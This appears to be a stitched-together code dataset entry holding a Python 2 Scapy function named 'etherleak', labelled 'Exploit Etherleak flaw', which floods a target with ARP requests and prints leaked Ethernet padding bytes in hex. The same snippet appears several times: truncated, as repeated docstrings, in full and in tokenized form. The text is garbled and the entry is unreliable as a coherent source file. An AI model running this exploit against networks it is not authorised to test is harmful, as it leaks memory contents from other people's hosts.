(target, **kargs)
return srpflood(Ether()/ARP(pdst=target), prn=lambda (s,r): Padding in r and hexstr(r[Padding].load),
                    filter="arp", **kargs)
Exploit Etherleak flaw
Exploit Etherleak flaw
Exploit Etherleak flaw
def etherleak(target, **kargs):
    """Exploit Etherleak flaw"""
    return srpflood(Ether()/ARP(pdst=target), prn=lambda (s,r): Padding in r and hexstr(r[Padding].load),
                    filter="arp", **kargs)
def etherleak ( target , * * kargs ) : return srpflood ( Ether ( ) / ARP ( pdst = target ) , prn = lambda ( s , r ) : Padding in r and hexstr ( r [ Padding ] . load ) , filter = "arp" , * * kargs )